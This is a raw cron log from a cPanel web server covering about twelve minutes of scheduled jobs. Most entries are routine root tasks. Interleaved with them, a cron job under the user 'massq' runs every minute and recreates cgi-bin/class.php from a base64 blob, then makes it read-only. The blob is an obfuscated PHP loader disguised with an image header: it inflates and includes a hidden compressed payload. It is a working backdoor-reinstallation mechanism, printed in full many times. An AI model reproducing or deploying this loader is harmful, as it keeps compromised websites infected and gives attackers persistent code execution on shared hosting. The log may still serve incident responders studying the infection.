Aug 31 11:26:01 server CROND[17255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:26:01 server CROND[17256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:27:01 server CROND[17720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:27:01 server CROND[17721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:27:01 server CROND[17722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:27:01 server CROND[17723]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:28:01 server CROND[18100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:28:01 server CROND[18102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:28:01 server CROND[18101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:29:01 server CROND[18476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:29:01 server CROND[18477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:29:01 server CROND[18478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:30:01 server CROND[18870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:30:01 server CROND[18872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:30:01 server CROND[18871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:30:01 server CROND[18873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:30:01 server CROND[18874]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:30:01 server CROND[18875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:30:01 server CROND[18876]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:30:01 server CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:31:01 server CROND[19695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:31:01 server CROND[19696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:31:01 server CROND[19697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:32:01 server CROND[20182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:32:01 server CROND[20183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:32:01 server CROND[20184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:33:01 server CROND[20575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:33:01 server CROND[20576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:33:01 server CROND[20574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:34:01 server CROND[20966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:34:01 server CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:34:01 server CROND[20968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:35:01 server CROND[21438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:35:01 server CROND[21440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:35:01 server CROND[21442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:35:01 server CROND[21443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:35:01 server CROND[21445]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 11:35:01 server CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:35:01 server CROND[21448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:35:01 server CROND[21446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:35:01 server CROND[21447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:36:01 server CROND[22334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:36:01 server CROND[22335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:36:01 server CROND[22336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:37:01 server CROND[22860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:37:01 server CROND[22876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:37:01 server CROND[22897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
